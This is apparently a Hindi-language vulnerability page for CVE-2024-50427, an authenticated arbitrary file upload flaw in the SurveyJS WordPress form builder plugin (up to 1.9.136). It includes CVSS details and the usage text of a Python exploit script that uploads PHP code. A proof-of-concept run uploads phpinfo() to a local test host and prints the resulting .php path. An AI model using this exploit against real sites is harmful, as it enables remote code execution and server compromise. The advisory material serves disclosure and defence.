CVE-2024-50427

SurveyJS: Drag & Drop WordPress Form Builder <= 1.9.136 - प्रमाणित (सब्सक्राइबर+) मनमाना फ़ाइल अपलोड

विवरण:

SurveyJS: किसी भी जटिलता के कई फॉर्म बनाने, स्टाइल करने और एम्बेड करने के लिए Drag & Drop WordPress Form Builder प्लगइन, WordPress के लिए, सभी संस्करणों में 1.9.136 तक और सहित, फ़ाइल प्रकार सत्यापन की कमी के कारण मनमाना फ़ाइल अपलोड के लिए कमजोर है। यह प्रमाणित हमलावरों के लिए, सब्सक्राइबर-स्तरीय पहुँच और उससे ऊपर, प्रभावित साइट के सर्वर पर मनमाना फ़ाइलें अपलोड करना संभव बनाता है जो रिमोट कोड निष्पादन संभव बना सकता है।

Published: 2024-10-24 00:00:00
CVE: CVE-2024-50427
CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 8.8
Slugs: surveyjs

उपयोग कैसे करें

usage: CVE-2024-50427.py [-h] [--code CODE] url username password

Upload a PHP file to a WordPress site.

positional arguments:
  url          The URL of the WordPress site (e.g., http://example.com)
  username     Your WordPress username
  password     Your WordPress password

options:
  -h, --help   show this help message and exit
  --code CODE  PHP code to execute

POC

$ python3 CVE-2024-50427.py http://kubernetes.docker.internal [email protected] user --code "phpinfo();"
Login successful.
File uploaded successfully.
http://kubernetes.docker.internal/wp-content/uploads/surveyjs/158718452672e02bd1d7212.25114025.php

CVE-2024-50427

सबसे लोकप्रिय

CVE-2024-50427

विवरण:

उपयोग कैसे करें

POC